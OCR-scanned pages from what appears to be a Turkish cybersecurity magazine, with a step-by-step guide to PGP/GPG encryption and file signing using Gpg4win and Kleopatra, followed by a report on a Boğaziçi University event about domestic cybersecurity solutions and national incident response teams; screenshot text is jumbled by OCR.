oturum anahtari olusturulur. Bu anahtar olusturulurken
klavye ve mouse'in random hareketleri kullanihr. Bu oturum
anahtari geleneksel sifreleme algoritmasinda oldugu sek-
liyle, glivenli bir sekilde metni sifreler.

3) Metin sifelendiginde bu oturum anahtari, alicinin public
key'i ile tekrar sifrelenir. Bu public key ile sifrelenmis session-
key, sifrelenmis metin ile birlikte alictya gonderilir.

Metnin ¢ozllmesi isleminde ise tersine bir yol izlenir:

encrypted reciplent’s privale key used

encrypted message

session key to decrypt session key
e
3 ."q-——
e
A
s
b d
ciphertext
sessjon key used original
to decrypt ciphertext plaintext

Alci tarafindaki PGP, alicinin gizli (private) anahtarini kulla-
narak, gecici session key'i desifre eder. Bu elde edilen ses-
sion-key ile metin desifre edilir ve sikistirilan dosya eski
haline getirilir. PGP geleneksel sifrelemenin hiziile, agik
anahtarli sifrelemenin, anahtar dagitim kullanim kolaylikla-
rini birlestirerek, harika bir kombinasyona ulasir. OpenPGP
ismi ile agik bir standart haline gelen PGP'yi asagidaki amag-
lar icin kullanabiliriz.

e Ozel yazismalarin ve 6nemli bilgilerin sifreli olarak iletil-
mesi

e Bir dosyanin sifrelenmesi

e Yazismalarin bitiinliginin dogrulanmasi (Aktarilan
mesaj, gercekten de génderilen mesaj mi? iletim esnasinda
bir bozulmaya, degisiklige ugramis mi?)

e iletilen bir dosyanin biitiinligiiniin dogrulanmasi. (Dosya
aktariminda bir sikinti yagsanmig mi? Aktarim sirasinda dos-
yaya herhangi bir sey enjekte edilmis mi?)

e iletisimin taraflarinin dogrulanmasi (Bu mesaj gercekten X
kisisinden mi geliyor?)

GPG

PGP acik bir standart haline getirildikten sonra GNU Privacy
Guard (GnuPG veya GPG),

1997'de Werner Koch tarafindan programlandi.
PGP’de Dosya imzalama

Yukaridaki satirlarda bir verinin sifrelenmesine degindik.
PGP'nin gli¢cli yanlarindan biri de dosya imzalama konu-
sunda sundugu ozelliklerdir.

1) Dosyanin 6zet degeri alinir.

2) Dosyanin 6zet degeri, gondericinin PRIVATE(6zel) anahtari
ile sifrelenir.

3) Dosya, olusturulan imza eki ile (*.sig uzantili bir dosya) ali-
clya gonderilir. PGP'de dosya imzalama su sekilde gercekle-

sir:
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Digital Signature Process
i Sender's private

key

v

Private key
encryption

Document

SHA1 Message

Digest

Encrypted digest
lo recipient

Document to recipient L

Alici tarafinda imzanin dogrulanmast icin asagidaki adimlar
izlenmektedir:

Digita! Signature Verification

Document SHA1 Message )

G_\ Digest YES:
p—— signature

e g invalid

Q____ )
Exact
> Match
7
~ NO:

Encrypted digest Public key Message signature

decryplion Digest invalid

Sender's public

key

1) Dosyanin 6zet degeri alinir. (SUM1)

2) Dosya ile birlikte gonderilen imza dosyasi (*.sig), gonderi-
cinin genel anahtari (public key'i) ile desifre edilir. Ve gonde-
ricinin, dosya géndermeden 6nce hesap ettigi 6zet degeri
elde edilir. (SUM2)

3) Eger SUM1 ve SUM2 biribine esit ise dosyanin mesajin ge-
cerliligi dogrulanir. GPG4Win'in Kurulumu ve Anahtar Ciftle-
rinin (Private ve Public) Olusturulmasi GPG'yi sistemimize

kurmak icin GPG4Win'i adim adim bilgisayarimiza kuracagiz.

1) https://gpg4win.org/download.html adresinden
GPG4Win'in en glincel strima indirilir.

(Gpg4win 2.3.4 - 2017-07-06)
indirilen paket asagidaki programlari icermektedir:

GnuPGP : Sifreleme programinin kendisi.

Kleopatra : GPG4Win icin bir ydnetim arabirimi. Anahtar ve
sertifikalarimiz ile ilgili tim islemlerimizi bu ekrandan yapa-
biliriz.

GnuPrivacy Asistant (GPA) : Kleopatra 'ya ek olarak,
anahtarlarimizi yonetebilecegimiz bir

baska program.

GnuPG for Outlook (GpgOL) : Microsoft Outlook 2003,
2007 ve 2013 icin imzalama ve sifreleme mekanizmasini kul-
lanmamiza olanak veren bir eklenti.






GPG Explorer eXtension (GpgEX) : Explorer eXtension
(GpgEX) : Bu eklenti sayesinde, sifreleme ve imzalama fonk-
siyonlari, Windows Explorer'in sag tus mentsiine (context)
menisine eklenir.

Claws Mail : Claws Mail : GPG'yi destekleyen tam dona-
nimli bir eposta programi.

2) Kurulum tamamlandiktan sonra masatstiinde ya da bas-
lat menisi altindaki diiglimden Kleopatra programinin
ikonu tiklanarak, Kleopatra programi

acihr.
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3) Hali hazirda bir PGP anahtarina sahipsek File -> Import
Certificates mentsiinden import edebiliriz. Eger bir private-
public anahtar ciftine sahip degilsek, File>New Certificate
mendsiini tiklayarak, anahtar olusturma sihirbazini agiyo-
ruz:

Choose Certificate Format

Please choose which type of certificate you want to create.

&) Create a personal OpenPGP key pair
OpenPGP key pairs are created locally, and certified by your friends and
acquaintances. There is no central certification authority; instead, every
individual creates a personal Web of Trust by certifying other users' key
pairs with their own certificate.

@ Create a personal X.509 key pair and certification request
X.509 key pairs are created locally, but certified centraly by a certification
authority (CA). CAs can certify other CAs, creating a central, hierarchical
chain of trust.

Create a personal OpenPGP key pair secenegini secerek bir
sonraki adima geciyoruz.

4) Bizi karsilayan ekrandaki alanlari doldurarak devam
ediyoruz:

Varsayilan ayarlar ile kullanabiliriz. Anahtar ¢iftimizin zaman
asimi ( expire) degerini, sifreleme tiriini (RSA, DSA) hangi
amaclar ile kullanilacagini Advanced Settings altindan ayar-
layabiliriz. Bu kilavuzda varsayilan ayarlar ile devam ediyo-
ruz.

5) Bu adimda olusturulan sertifika ile ilgili 6zet bilgileri bize
sunan ekranla karsilastyoruz. Show Details 'i tiklayarak olus-
turmak lizere oldugumuz sertifika hakkinda ayrintili bilgilere
ulasabiliriz:

Review Certificate Parameters

Please review the certificate parameters before proceeding to create the
certificate.

Name: Ziyahan
Email Address: ziyahan@netsparker.com

6) Siradaki ekran bizden bir parola belirtmemizi isteyecek.
Bu gizli anahtarimizi olusturacak paroladir. Bu esnada prog-
ram bizden, benzersiz bir anahtar olusturmak icin klavye gir-
dileri, fare hareketleri gibi bu siirecin tekilligini besleyen
girdiler istemektedir.

\_j ™ Certificate Creation Wizard

Creating Key...

Your key is being created.

The process of creating a key requires large amounts of random numbers. To foster this
process, you can use the entry field below to enter some gibberish, The text itself does not
matter - only the inter-character timing. You can also move this window around with your
mouse, or start some disk-intensive application,

I

7) Anahtar ciftimiz basari ile olusturulduktan sonra bizi karsi-
layacak ekrandaki secenekler ile, anahtar ciftimizin bir yede-
gini alabilir; eposta ile genel anahtarimizi paylasabilir ya da
public key'imizi bir key dizin servisine gonderebiliriz. (Eger
herhangi bir anahtar dizin servisi belirtiimedi ise, Kleopatra
varsayilan olarak keys.gnupg.net adresine gondermektedir.)

8) Anahtar ciftlerimizi Kleopatra ana ekranindaki My Certifi-
cates sekmesi altinda gorebilmeliyiz.

Bu ekranda paylasmak istedigimiz anahtarimizin tzerine sag
tusla tiklayip Export Certificates ya da CTRL+E tus kombinas-
yonlarini kullanarak, Public veya Private anahtarimizi export
edebiliriz.

Kleopatra 'y1 bilgisayarimiza kurup, anahtar ciftlerimizi olus-
turduktan sonra PGP ile iletisim kurmak istedigimiz alici ta-
rafin Public key'ine ihtiyacimiz olacak. Alicinin public key'ini
su sekilde elde edebiliriz:

‘lle View Certificates Tools Settings Window Help
gl tmport Cartificates [y Expoct Certficates | (@ Redisplay 1.3 Stop Operaton | @k Lookup Certficates on Sarver 17,

|My Certificates =l
@] My Cortificates | Trusted Cortifeatss | Other Ceortificatee |

@ ™ Certificate Creation Wizard
Enter Details
Please enter your personal details below, If you want more control over the certificate
parameters, dick on the Advanced Settings button.
Neme:  |ziyahan (required)
EMail: | ziyahan@netsparker.com (required)
Comment: ] (optional)
Ziyahan <ziyahan@netsparker,.com>
T
MNext I Cancel I
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Valid Unti Details | Ke:l?‘

OpenPGP  ASAI4RFI

Name ] E-Mal ] Vahd From ]
Ziyahan... ziyahanalbeniz@gmail.com




.'::'L "'i‘;‘.

"Kurum ici ve kurumdisi iligkilerde ileti

kaynaginin ve tutarliiginin dogrulanmasi;
iletilen verilerin giivenliginin saglanmasi

buyiik onem arz etmektedir.

-~

Bu baglamda, bir sifreleme ve imzalama
standardi olarak A¢ik Anahtarli Sifreleme
ozel olarak da GPG 'yi taniyacak, adim
adim Windows isletim sistemi icin
kurulumunu ve uretilen anahtar
ciftlerinden, public (genel) anahtari
aliclarimizla paylasmayi gorecegiz."
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pick one of your own certificates,

Please select for whom you want the files to be encrypted, Do not forget to

Search...

Ixixll Certificates

=~

N ame

- Ziyahan Albeniz
~Ferruh M avituna

- Ziyahan Albeniz (http://ziyahanalbeniz.blogspot.com) ziyal

ziyal
ferru

e Alicinin kendisinden public key'ini isteyebiliriz
e Key serverlar Uizerinden aliciya ait public key'e ulasabiliriz.

e Kleopatra File->Look Up Certificates on Server secenegi
lzerinden birden ¢ok key

server'da aratabilir ve Kleopatra ekranimiza otomatik olarak
ekleyebiliriz.

Fie Eat Feomat Vew  Heto

Top secret message for a certain user.

top_secret_message.txt isimli dosyada 6zel bir mesajimiz ol-
dugunu disiinelim:

Bu mesaji genel anahtarini (public key'ini) edindigimiz bir
kullaniciya sifreleyerek gondermek istiyoruz. Bunun igin
dosya Uzerinde sag tusla tiklayarak, GpgEX fonksiyonlarin-
dan Encrypt (Sifrele) ya da Sign and Encrypt seceneklerin-
den birini segebilirim:

Name Diate modified Type Siza

| top secrat message. it 3/21/2016 229 AM  Text Document

T open
Print
Edit
7-Zip »
CRC SHA ]

|| Editwith Notepad++
| §  Move to Dropbox
# Checkwith Dreb

I Sign and encrypt §

| ¥ More GpgEX options »| Decrypt
Open with » Venfy

[B] t i

e " : :CM‘; and verfy

| # YandexDisk: Bagilantiy kopyala = Si;w
Send to 4 Sign and encrypt
Cut Impart keys
Copy Create checksums
I e Werify checksums
Delete Help on GpgEX
Rename About GpgEX
Properties

2

Results

Status and progress of the crypto operations is shown here.

OpenPGP: All operations completed,

What do you want to do?

Please select here whether you want to sign or encrypt files.
Selected file:

* C:Msers/Ziyahan/Desktop/open_encryption/top_secret_message. bt
[ archive files with: |TAR {PGPE-compatible) _:J

Archive name (OpenPGP): | encryption/top_secret_messagetettar € | ‘:I

Archive name (SMIME)! heryption/top_secret_message.tit.targz € —.'J
c Sign and Encrypt (OpenPGP anly)
@ Encrypt
C sign

[ Text output (ASCIT armor’)
[~ Remove unencrypted original file when done

Nent Cancel




Bizi karsilayan ekranlardan sirasiyla yine Encrypt ve mesajin e ™ Sign/Encryot File:
ahicisini segerek, islemimi sonlandiriyorum: '

Kleopatra, clipboard ile etkilesimli calisabilmektedir. Results

Onbellege kopyalanmis bir metni sifreleyebilir ya da énbel-

Status and the o tione is shown here,
lekteki sifreli metni decrypt edebilir. Sl .

OpenPGP: All operations completed,

Dosya
Imzalama

Dosyalarda kaynak ve tutarhlik

dogrulama icin Windows Explorer

sag tus menusune eklenen Sign

ya da Enctrypt and Sign seceneklerinden
birini kullanabiliriz.

¥ Keep open after operation completed

I » ThisPC » Documents b Netsparker b Scans »
Name Date modified Type
I ovmtekircom.tr-180310275379821-364683 3/20/2016 1:24 PM File fold
j debianserver-1803205:”“"‘B"‘ e —— (18!2015 10:54 PM File folds
: en
I wulnerablesite-180316 it . . ¥18/2016 4:38 PM File fold
- Open in new window
) Add to VLC media player's Playlist
K Play with VLC media player
7-Zip 3
CRC SHA ’
&  Move to Dropbox
== _Sign and encrypt_
| ¥ More GpgEX options | Decrypt
Share with ’ Verify
! # YandexDisk: Baglantiy kopyala Decrypt and verify
i Encrypt
¥ Checkwith Drieb : A
| Sign
Include in librans ’ Sign and encrypt
K Send to - Create checksums
Yerify checksums
D (C) Cut i
3 Copy Help on GpgEX
candb.local) Create shortcut Abont GpgEX
Delete
Rename
Properties

3



e Alinan dosya sag tusla tiklanir, eger sadece imzali bir
dosya ise, Verify, sifrelenmis ve imzali bir dosya ise Verify
and Decrypt secenekleri tiklanir

M Archive and Sign/Encrypt Files

Results -
@ e Dogrulamak icin, hangi kullanicidan geldi ise, o kullanici-

Status and progress of the orypto operations Is shown here, nin public key'i segilir.

OpenPGP: Output of C:/Program Flies (86 )/GNU/GruPG/apgtar.exe —openpap ~-skip-crypto a
—output ..

Results

Status and progress of the crypto operations is shown here,
Please enter the passphrase o unlock the secret key for the OpenPGP certificate:
"Ztyzhan Albeni <ziyahan@®netsparker.com>*

2048-hit RSA key, 1D SG8DEAZA,

created 2016-02-09.

i : _

OpenPGP: All operations completed.

Parolamizi giriyoruz:

Dosyamiza ek olarak, dosya_adi.sig uzantili bir dosya olustu-
rulacak. Bu *.sig uzantili dosyayi1 da dosyamizla birlikte ali-
clya gonderiyoruz. Alicidan gelen imzalanmig dosyalarin
dogrulanmasi icin de tam tersi bir islem sirasi gecgerli. = -

Metnin sifrelen

cozilmesi icin ortak bir-anahtarin
kullanildigi yontem, Kriptoloji
Bilimi terminolojisinde
Geleneksel Sifreleme olarak
aniimaktadir.




Etkinlik



Milli ve Yerl

Siber Guvenlige
Bogazici Damgasi

Muhammet Burak Sentiirk

Siber giivenlikte milli ve yerli ekosistem olusmasi icin konunun tiim mu-
hataplarinin tarafsiz bir ortamda bir araya gelmemesi biiyiik bir eksiklikti.

iber glivenlikte milli ve yerli ekosistem olus-
masi icin konunun tim muhataplarinin taraf-
siz bir ortamda bir araya gelmemesi buylik
bir eksiklikti. Daha 6nce bu konu ¢esitli top-
lantilarda bu konu dile getirilmis olsa bile
akademik bir ortamda tiim taraflar dnlinde tartisiimasi
gerekiyordu. Ulkemizde ve diinyada tniversiteler; nite-
likli insan kaynagini karsilamada oldugu gibi AR-GE ve
inovasyonda da akla ilk gelen kurumlardir. Bogazici Uni-
versitesinde diizenlenen “Tiirkiye'de SOME’ler ve Siber
Guvenlikte Yerli Milli Cozimler” adli etkinlik bu agidan
kayda degerdi. Bogazici Universitesi Yonetim Bilisim Sis-
temleri Siber Guvenlik Merkezi (BUSIBER) tarafindan dii-
zenlenen etkinlikte Milli Siber Strateji'de 6nemli rol
oynayan SOME birimleri ve Milli/Yerli Ureticileri ayni ¢at
altinda bulusturdu. Bogazici Universitesi 6gretim tyesi
Doc. Dr. Bilgin Metin'in girisimciligi ve istanbul Kalkinma
Ajansi destegiyle kurulan BUSIBER kamu siber direncini
artirmayi ve bu alanda ihtiya¢ duyulan insan kaynagini
yetistirmeyi hedeflemektedir¢ “Tiirkiye'de SOME'ler ve
Milli Giivenlikte Yerli Milli Céziimleri” etkinligi ile BUSI-

BER, Turkiye'nin dnde gelen siber glivenlik uzmanlarini,
kurumlari ve akademisyenleri bir araya getirdi.

Siber glivenlik alaninda kendi yazilimlarimizla glvenlik
duvari, saldiri tespit ve dnleme sistemi, log analizi, veri
sizintist dnleme, siber tatbikat, siber istihbarat, kdtticll
yazilim, adli bilisim, bilgi glivenligi siireg, risk ve uyum
yonetimi gibi alanlarda yerli ve milli ¢6ziimlerin gelistiril-
mesi gerekttigi konusuldu. Bogazici Universitesi Rektorii
Prof. Dr. Mehmet Ozkan konusmasinda siber giivenlige
olan ihtiyacin giderek arttigini; bu baglamda kurumlarin
gittikce daha biliyik miktarlarda butce ayirdiklarini vur-
guladi. 2017'de siber glivenlik pazarinin 120 milyar dolar
hacminde 6n gériildiigiinden bahseden Ozkan, “Tiirkiye
siber guivenlik pazarinin yiizde 97'si yabancilarin elinde.
Yaklasik 1,5 milyar dolar potansiyeli olan siber giivenlik
pazarimizda, Turkiye'nin aldigi pay yalnizca 45 milyon
dolar. Disariya 1,45 milyar dolar aktarilacagi 6ngorila-
yor” dedi. Siber guivenlik alaninda yapilacak ¢alismalarla,
bizim de pastadan dnemli bir pay almamiz gerektigini
ifade etti.




Siber Giivenlik Farkindalik Egitimleri icin
1 Milyar Dolar Harcaniyor

Etkinligin acilis konusmasini yapan internet Gelistirme
Kurulu Baskani Tayfun Acarer, veri ihlallerinin 2015 ten
2016 ya geciste %781 oraninda artigini, saglik sektori
basta olmak Uizere pek ¢cok kurumun siber saldirilara
maruz kaldigini vurguladi. “Tum saldirilar icinde tespit
edilemeyen saldirilarin oraninin %70 olmasi, tehlikenin
boyutunu ciddi sekilde gozler 6niline seriyor. Bu mak-
satla siber glvenlik farkindalik egitimlerine 1 milyar
dolar harcaniyor. 2016'da siber glvenlik ile ilgili is agigi 1
milyon iken, bu rakam 2017 sonunda 1,3 milyon olacak.”
ifadelerini kullandi. Acarer’in verdigi bilgilere gore, siber
saldir magduru olan kisi sayisi, toplam niifusun yiizde
51'ini olusturuyor ve siber saldirilarin kiresel tahmini
maliyeti 2016 yilinda 400 milyar dolari asti. istatistiklere

gore en ¢ok saldirlya ugrayan sektor ise saglik sektora.
Saglik sektoriiniin siber saldirilara bu kadar agik olmasi-
nin énemli risklere de yol actigini kaydeden Acarer, “TU-
BISAD'In her yil yaptigi bilisim sektérii konulu ankete
gore sektorin en 6nemli ihtiyaci nitelikli elemandir”
dedi.

Acarer, sorunun ¢6ziminun Universitelerde olduguna ve
mevcut imkanlarla siber giivenlik konusunda giincelligin
yakalanabilmesi icin Gniversitelerin desteklenmesi ge-
rektigine dikkat cekti. Ayrica siber glivenligin klasik m-
hendislik egitiminden daha farkl bir bakis acisi
gerektirdigini, bu formasyona uygun egitmenlerin yetis-
tirilmesi gerektigine de vurguladi.

Konusmasinin sonunda Acarer, siber saldirilardan birey-
sel olarak korunmaya yonelik glivenlik onerilerinde bu-
lundu.




Siber Giivenlik Ulusal Savunmanin
Yeni Boyutu ve Mili Uriinlere Giiven Artmali

“Milli GUvenlik ve Elektronik Harp Sistemleri” konusunda
sunumunu yapan Savunma Sanayi Mistesarligi Siber GU-
venlik ve Elektronik Harp Sistemleri Daire Baskani, Mu-
hammet Sami Ulukavak konusmasinda ge¢mise nazaran
glinimuzde her alanda oldugu gibi siber glivenlikte de
“milli” bilin¢le hareket edildigini vurguladi.

Yabanci siber giivenlik Girlinlerinde son bir yilda ortaya
¢ikan glivenlik aciklarina istatistikler ile dikkat ¢ceken Ulu-
kavak, milli coziimlere duyulan glivensizligin asilmasi,
milli donanimlarin eksikliginin giderilmesi ve siber gi-
venlik ortaminin olusturulmasi gerektigini sdyledi. Bu
baglamda, Savunma Sanayi Mistesarligi'nca kisa za-
manda baslatiimasi planlanan “siber akademi” calismasi
takip edilmesi gereken bir konu. Muhammet Sami Uluka-
vak, konusmasinin devaminda siber gtivenligin gin-
mizde stratejik bir 6neme sahip oldugunu ve siber
saldirilarin artik teror orgutleri ile baglantilarinin ol-
duuna isaret etti. Savunma Sanayii Mistesarligi adina
siber glivenligi; kara, deniz, hava ve uzaydan sonra be-
sinci kuvvet olarak konumlandirdiklarini kaydeden Ulu-
kavak, Siber Savunma Merkezi Projesi ile gerekli olan
tiim donanim ve yazilimi gelistirdiklerini ve TSK’ya bu
alanda destek verdiklerini séyledi. Bununla birlikte Em-
niyet Midurligui ile de calismalar yirittiklerini belirten
Ulukavak, 81 ilde kullanilacak uctan uca sifrelenmis sis-
temler tUretmek icin calismalara baslandigini kaydetti.

Siber Giivenlik Ulusal
Kalkinmanin Bir Parcasi

Kalkinma Bakanhg iktisadi Sektorler ve Koordinasyon
Genel Miduri Emin Sadik Aydin da sektordeki nitelikli
eleman eksikligi konusuna vurgu yapti ve su degerlen-
dirmede bulundu: “Dijital teknolojiler artik vazgegileme-
yecek 6lcude derinlesiyorlar. Bilisim hizmetleri ve
drtinleri artik ekonomilerin ayrilmaz bir parcasi. OECD,
bilgi temelli yenilikgiligin tlkelerin gelismesi icin belirle-

yici oldugu konusunda uyariyor.

Ulusal guivenligimizin bir parcasi olarak siber giivenlik
konusunda gayretlerimizi arttirmamiz gerekiyor. Univer-
siteleri bu konuda desteklememiz gerekiyor.” istanbul
Kalkinma Ajansi Genel Sekreteri Ozgiir Ozben Yavuz ise
istanbul’'un ekonomik ve sosyal kalkinmasi alaninda
yogun calismalar yurittikleri belirtti. Bu konularda 6zel-
likle arastirma-gelistirme ve inovasyona ¢cok 6nem ver-
diklerini belirten Yavuz, milli ar-ge calismalari
kapsaminda 285 projeye katki verdiklerini ve istanbul’u
bir kiiresel kent yapma yonindeki ¢calismalarinin devam
edecegini soyledi.

Siber Giivenlikte Yeni Yaklasimlar Gerekli

Siber Glvenlik, e-Devlet ve e-Yonetisim Kidemli Uzmani
Mustafa Afyonluoglu milli giivenlik kavraminin bir par-
casi haline gelen siber glivenligin 6nemine dikkat ceker-
ken, diger Ulkelerin bu konudaki yaklasimlarinda
ornekler verdi. Ulusal siber glvenlik icin Fransa'nin 1 mil-
yar avro ve ingiltere’nin 2.5 milyar avro ayirdigini belirten
Afyonluoglu, 2030 yili itibariyle siber glivenlik pazarin-
daki toplam hacmin 90 trilyon dolar seviyesine gelece-
gini soyledi. Bilgi glivenliginin 6nceliklendirilmesi
gerektigini kaydeden Afyonluodlu, idari yetki, insan kay-
nagi, koordinasyon, standartlar ve zengin bilgi kaynagi
gibi 6nemli noktalari kararh sekilde tasarlamanin gerekli-
ligine dikkat ¢ekti. Mustafa Afyonluoglu, giincel durumu
gecen yillar ile karsilastirdi.

10 milyondan fazla kisiyi etkileyen olay sayisinin 2014 yi-
linda 11 oldugu, 2016 yilinda ise bu rakamin 15’e ¢ikti-
gini belirtti. Bunun yaninda fidye yazilim turiinde 3 kati
artisin gozler 6nine serildigi sunumda, fidye yazilimlari
icin ortalama 6denen bedelin 300 dolardan 1000-1100
bandina ¢iktigi belirtildi. Afyonluoglu, konusmasinin so-
nunda Universiteler ile isbirligi icerisinde sistematik
SOME egitimleri saglanmasi ve bu egitimlerde mutlaka
pratik tecriibe olusturacak laboratuvarlar yer almasi ge-
rektigini ifade etti.

ROGAZICT
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TUBITAK, USOM ve TSE'nin gériisleri

TUBITAK Siber Giivenlik Enstitiisii Baskani Mustafa Dayi-
oglu konusmasinda oncelikle siber glivenlik alaninda
mevcut durumumuzu detayli bir bicimde ortaya koydu.
siber glivenlik alaninda olusturulmasi gereken ekosis-
temde TUBITAK'In saha calismalarina yénelik dikkat ce-
kici bilgiler verdi. Nitelikli insan eksikligini gidermek ve
milli teknolojiler tiretmek adina sektore rehberlik ettikle-
rini ifade etti.
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Ulusal Siber Olaylara Miidahale Merkezi (USOM) koordi-
natérii Abdullah Ardig; Bilgi Teknolojileri ve iletisim Kuru-
munun misyonunu, tlkemizdeki siber olaylara miidahele
ekiplerinin (SOME) durumunu anlatti. Bu konuda yuri-
tlilmekte olan projeleri ortaya koydu. Siber istihbarata
cok dnem verdiklerini boylece saldirilari dnceden tespit
edip 6nleme konusunda calismalar yirGttiklerini ve bu
baglamda 5 Mayis 2017 itibariyle 1275 zararl yazihm
kaynagi IP adresini tespit edip Glkemizdeki kurumlarla
paylastiklarini ifade etti.
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Turkiye'de SOME ler ve
Siber Cavenlikte Yerli Milli C5z0mler

Bilisim Teknolojileri Test ve Belgelendirme Daire Baskani
Mustafa Yilmaz, konusmasinda BT Grinindn yeterli bir
gelistirme ortaminda yapilip yapilmadigini kontrol edip,
aciklik analizi testleri yaparak tirline uygun garanti sevi-
yesinde belge verdiklerini, TS ISO/IEC 27001 belgesi ile
de daha iyi guvenlik bilinci olusturuldugunu soyledi.

Konusmasinin devaminda Yilmaz, TSE blinyesinde Beyaz
Sapkali Hacker egitimlerinin verildigini ve sinavlar ger-
ceklestirerek sektorin nitelikli personel ihtiyacini karsila-
diklarini soyledi.

Ulusal Biyometri Politikalarinin Olmasi Zorunlu

Yildiz Teknik Universitesi Siber Giivenlik Ve Biyometrik
Arastirmalar Merkezi yonetici Prof. Dr. Tilay Yildirim, 6n-
celikle biyometrik verilerin korunmasi noktasinda ulusal
bir yaklasimin olmadigini, bu verilerin iyi korunmamasi
halinde yanlis ellere gegerek ¢ok ciddi sonuglari olabile-
cegini soyledi. Ayrica siber glivenlikte en blyiik prob-
lemlerden biri olan kimlik hirsizhdina karsi biyometrik
sistemlerin neden kullaniimasi gerektigini anlatti.

Bankalarin kullanmaya basladigi retina taramasiyla kim-
lik kontroli sistemi, cep telefonu kamerasiyla bile kolay-
likla tespit yapilabilecegini ve kisinin sadece kendisine
ait olan fiziksel 6zelliklerini kullanarak daha guvenli bir
yapi olusturulabilecegini gosterdi.

Milli Sifreleme Stratejisi Nasil Olmali?

Sabanci Universitesi 6gretim tyesi Prof. Dr. Albert Levi
Milli Siber Glivenlik Strateileri ve Kriptografi konulu bir
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konusma gerceklestirdi. Levi, konusmasinda kendi krip-
tografik algoritmamizin olusturulmasindan ¢ok mevcut
standart algoritmalarin millilestirilmesinin daha 6nemli
olduguna ve bunun yaninda bu teknolojilerde kullanilan
donanimi da kendimiz Gretmemiz gerektigine vurgu

yapti.

Sifreleme standartlari gerceklestirilirken icerigi acik ol-
mayan kitlphanelerin kullanilmamasi gerektigini sdy-
ledi.

Ayrica yakinda zamanda ¢ikacak olan sifreleme standardi
TLS’nin (Transport Layer Security) yeni 1.3 versiyonunun
gerceklestirilmesine iliskin ¢ok firsat oldugunu soyledi.
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Sifreleme standartlari gerceklestiri-
lirken icerigi acik olmayan kiitlipha-

nelerin kullanilmamasi gerektigini

soyledi. Ayrica yakinda zamanda ¢i-

kacak olan sifreleme standardi
TLS'nin (Transport Layer Security)

yeni 1.3 versiyonunun gerceklestiril-

mesine iliskin cok firsat oldugunu
soyledi.
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Milli Coziimlere Ozgiir Yazilim ve Acik Kaynak Kod
Bakisi

Linux Kullanicilari Dernegi tiyesi ve Ozgiir Yazilim A.S y6-
netici ortagi olan Hakan Uygun 6zgir yazilimin milli ihti-
yaclara yonelik katkilarindan bahsetti. Ozgiir yazilm
bakis agisinin getirdigi teknolojinin evrensel oldugunu;
ancak urtinlerin milli olabilecegi yaklasiminin, diinya
standartlarinda ¢ozuimler Uretilebilmesini saglayacagini
soyledi. Aksi takdirde cagin gerekliliklerine uymayan ka-
pali Griinler ile bosa emek harcanacagini belirtti.

Uygun sozlerine son verirken, milli GirGinler gelistirmede
0zglr yazilimin maliyeti distrecedini, kod kalitesini ve
inovasyonu arttiracagini sdyledi.

Milli Yerli Siber Giivenlik Ureticileri Konustu:

Comodo EMEA Bolgesi Baskan Yardimcisi Erdem Eris ise
Doc. Dr. Bilgin Metin ile yapmis oldugu soyleside, “Tiirk
isimleri ile diinyaya pek ¢ok Uruin ihrag ediyoruz. Siber

glivenlik ¢c6ziimleri alaninda Tiirkiye imzali ve yerli bir
vizyonla ilerliyoruz. Bu tarz firmalarin sayi itibariyle daha
fazla olmasinda fayda var. Yerli ve milli ¢cdziimler derken
sunulan hizmetin her noktasinin yerli olmasina 6zen gos-
teriyoruz. Bu yaklasimla yurtdisinda gordigimdiz ilgi de
yurticindeki ile yarisacak seviyede. Uluslararasi plat-
formda satislarimiz glinden gline artmakta.

Ancak kabul gérme agisindan yerli Griinlerin daha saygin
bir noktaya gelmesi gerekmektedir. Bu baglamda seyre-
den yukselise ivme katmak ortak gorevimiz” dedi.

Netas Siber Guvenlik ve Direktéri Ugur Cagal ise etkin-
lige Milli Siber Giivenlik iletisim Aglarinin Modernizas-
yonu isimli sunumu ile katildi. Netag'in siber gtivenlik
alanindaki ¢coziimlerini tice ayirdiklarini belirten Ugur
Cagdal, Nova urin ailesinin tanitimini da gerceklestirdi.

Milli ve yerli iletisimde ag ve uygulama giivenliginin
neden 6nemli olduguna deginen Cagal siber glivenlik
kavraminin bir bitiin olusturduguna dikkat cekti.
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2002 yilindan beri siber gtivenlik alaninda milli Griinler
Ureten ve bolgedeki en gliclii siber glvenlik Ureticilerin-
den biri olan Labris Networks adina konugmalarini yapan
Labris Networks kurucu ortagi Oguz Yilmaz, glinimiiz
siber saldirilarinda en yaygin olarak gériilen DDoS saldi-
rilarina karsi gelistirilen “HARPP” sisteminden bahsetti.
Yapay zeka temelli olan “HARPP” glivenlik sistemlerinin
guvenligini saglayan bir Grln. Ayrica Labris Networks ge-
lismis guvenlik duvarlari, SCADA sistemleri ve LOG kayit-
lari tutan cihazlar uretiyor.

Siber guvenlik yatirimlarinin hizla devam edecegini belir-
ten Labris Networks CTO’su Oguz Yilmaz da “Uluslararasi
alanda etkin olmaya ve sertifikasyon yatirimlarina devam
etmekteyiz” dedi. 2003 yilindan bugtine kadar 4 binin
Uzerinde aktif cihaza ulastiklarini belirten Yilmaz hizmet
verdikleri musterilerinin ciddi bir dilimini 50 PC ve Uze-
rinde is hacmi olan kurumlarin olusturdugunu belirtti.
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Logo Siber Glivenlik ve Ag Teknolojileri Genel Middiri
Murat Apohan ag gtivenligi ihtiyacini karsilayan milli
Uriin “Berk Net” hakkinda bilgiler verdi.

Berk Net ‘in yerel isletmelere ait sistem ve verilerin, ylk-
sek performansli ve en etkin bir bicimde korunmasi icin
Urettiklerini ifade etti.

Ayrica Berk Net Tiirkiye'ye 6zel kullanim ihtiyaglarini kar-
silamak icin Turkce konusan bir UTM ekibine sahip. “Tim-
lesik Siber Giivenlik Uriinlerinde Yerli Céziimler” isimli
sunumu ile etkinlikte yer alan Logo Siber Glivenlik ve Ag
Teknolojileri Genel Miidirt Dr. Murat Apohan, isletmele-
rin internet kullaniminda kontrolsiiz davranmasinin as-
linda ciddi bir problem teskil ettigini bildirdi.

Kontrolsiiz kullanim temelde bir siber glivenlik problemi
degil ancak kontrolsiiz kullanim beraberinde glvenlik
aciklarini da getiriyor” dedi.



Wi-Fi erisim noktalarindan 6rnekler veren Apohan, “Wi-Fi
erisim noktalarinda yerine getirilmesi zorunlu olan kri-
terlerin kullanicilara sunulmamasi durumunda o nokta-
dan gerceklestirilen bir su¢ hizmeti sunanlara blyuk
problemler yasayabilecegini belirtti.

Burada 6zellikle kimlik dogrulama yéntemlerinin farkli
olmasi kritik nokta. Artik herkes her yerden ofisteki veri-
lere ulasabilmekte ve bu noktada kullanicilar kritik g-
venlik aciklari beklemektedir. Biz bu noktada yerli
¢oziimlerle bilgi glivenligini daha da 6nceliklendiriyoruz”
